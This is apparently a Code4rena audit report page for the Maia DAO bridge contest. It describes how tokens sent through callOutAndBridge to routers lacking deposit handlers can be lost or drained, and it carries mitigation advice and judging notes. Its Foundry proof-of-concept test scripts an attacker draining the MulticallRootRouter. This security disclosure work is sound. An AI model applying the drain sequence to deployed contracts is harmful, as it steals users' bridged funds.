Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 112/175
Findings: 1
Award: $25.68
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L97 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L121
The callOutAndBridge() and callOutAndBridgeMultiple() functions are unsigned functions, which means they don't make use of the Virtual Account. Consequently, funds bridged to the root environment should be directed towards customs routers designed to execute remote requests. However, there are issues with the current implementation.
function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId) external payable onlyOwner { // Read Deposit Params DepositParams memory dParams = DepositParams({ depositNonce: uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START])), hToken: address(uint160(bytes20(_payload[PARAMS_TKN_START:PARAMS_TKN_START_SIGNED]))), token: address(uint160(bytes20(_payload[PARAMS_TKN_START_SIGNED:45]))), amount: uint256(bytes32(_payload[45:77])), deposit: uint256(bytes32(_payload[77:PARAMS_TKN_SET_SIZE])) }); // Bridge In Assets _bridgeIn(_router, dParams, _srcChainId); //@audit transfer/mint hTokens to the router // Check if there is additional calldata in the payload if (_payload.length > PARAMS_TKN_SET_SIZE) { //Execute remote request //@audit Not implemented in the `CoreRootRouter` and `MulticallRootRouter` contracts IRouter(_router).executeDepositSingle{value: msg.value}( _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId ); } }
The CoreRootRouter
and MulticallRootRouter
contracts do not have the IRouter.executeDepositSingle()
and IRouter.executeDepositMultiple()
functions implemented. However, users are still able to bridge in tokens. Funds will be lost in the CoreRootRouter
contract because there is no way to transfer tokens out. Similarly, funds can be drained in the MulticallRootRouter
contract.
There are two scenarios in which users may lose funds:
Users may mistakenly use callOutAndBridge()
instead of callOutSignedAndBridge()
when their intention is to bridge out and deposit funds into their virtual accounts.
Another potential fund loss scenario arises when users choose the wrong router while attempting to bridge tokens using custom routers.
For simplicity, let's assume a user calls the callOutAndBridge()
function from the Arbitrum branch and the router she choose is MulticallRootRouter
.
An attacker can drain the MulticallRootRouter contract by calling the callOut()
function from the Arbitrum branch after funds have been bridged out and deposited into it.
Copy and paste the following code snippet to ArbitrumBranchTest.t.sol.
function testFuzzCallOutAndBridge(address _user, uint256 _amount, uint256 _deposit) public { hevm.assume(_user != address(0) && _amount != 0); hevm.assume(_deposit <= _amount); // Set up testAddLocalTokenArbitrum(); //Gas Params GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether); // Get some gas. hevm.deal(_user, 1 ether); //Prepare data bytes memory params = bytes(""); // Mint Underlying Token. if (_deposit > 0) arbitrumNativeToken.mint(_user, _deposit); if (_amount - _deposit > 0) { // Assure there is enough balance hevm.startPrank(address(rootPort)); ERC20hTokenRoot(newArbitrumAssetGlobalAddress).mint(_user, _amount - _deposit, rootChainId); hevm.stopPrank(); arbitrumNativeToken.mint(address(localPortAddress), _amount - _deposit); } // Prepare deposit info DepositInput memory depositInput = DepositInput({ hToken: address(newArbitrumAssetGlobalAddress), token: address(arbitrumNativeToken), amount: _amount, deposit: _deposit }); address rootBridgeAgentAddress = arbitrumMulticallBridgeAgent.rootBridgeAgentAddress(); address rootRouterAddress = RootBridgeAgent(payable(rootBridgeAgentAddress)).localRouterAddress(); //before the callOutAndBridge() function is called by the _user assert(MockERC20(arbitrumNativeToken).balanceOf(address(_user)) == _deposit); assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) == _amount - _deposit); assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) == _amount - _deposit); assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouterAddress) == 0); // Call the callOutAndBridge() function hevm.startPrank(_user); arbitrumNativeToken.approve(address(localPortAddress), _deposit); ERC20hTokenRoot(newArbitrumAssetGlobalAddress).approve(address(rootPort), _amount - _deposit); arbitrumMulticallBridgeAgent.callOutAndBridge{value: 1 ether}(payable(_user), params, depositInput, gasParams); hevm.stopPrank(); //after the callOutAndBridge() function is called by _user assert(MockERC20(arbitrumNativeToken).balanceOf(address(_user)) == 0); assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) == 0); assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) == _amount); assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouterAddress) == _amount); //** The Attack Begins */ uint256 random_private_key = 21676371825445336312673671266632147661278631263671236717864331232197; address _attacker = hevm.addr(random_private_key); assert(_attacker != _user && _attacker != address(0)); // Get some gas. hevm.deal(_attacker, 1 ether); //Prepare data bytes memory params_2; { Multicall2.Call[] memory empty_call; // Output Params OutputParams memory outputParams_2 = OutputParams(_attacker, newArbitrumAssetGlobalAddress, _amount, _amount); GasParams memory gasParams_2 = GasParams(0, 0); // RLP Encode Calldata bytes memory data_2 = abi.encode(empty_call, outputParams_2, rootChainId, gasParams_2); // Pack FuncId //MulticallRootRouter.execute() function ID: bytes(0x02) multicallSingleOutput params_2 = abi.encodePacked(bytes1(0x02), data_2); } //before the callOut() function is called by the _attacker assert(MockERC20(arbitrumNativeToken).balanceOf(_attacker) == 0); assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) == _amount); hevm.startPrank(_attacker); arbitrumMulticallBridgeAgent.callOut(payable(_attacker), params_2, gasParams); hevm.stopPrank(); //after the callOut() function is called by the _attacker assert(MockERC20(arbitrumNativeToken).balanceOf(_attacker) == _amount); assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) == 0); }
None
The CoreRootRouter
and MulticallRootRouter
contracts do not implement the IRouter.executeDepositSingle()
and IRouter.executeDepositMultiple()
functions. Therefore, it seems that these two routers are not intended to execute requests made by the callOutAndBridge()
or callOutAndBridgeMultiple()
function.
To address this issue, we can add a check in the RootBridgeAgentExecutor.executeWithDeposit
and RootBridgeAgentExecutor.executeWithDepositMultiple()
functions to verify if the given _router
address is intended to handle these specific functions. By adding this verification step, we can prevent unintended fund loss and ensure that the funds are directed to the correct router for processing.
Error
#0 - c4-pre-sort
2023-10-13T15:18:01Z
0xA5DF marked the issue as duplicate of #685
#1 - c4-pre-sort
2023-10-13T15:18:06Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-25T13:12:56Z
alcueca changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-10-25T13:17:20Z
alcueca marked the issue as grade-a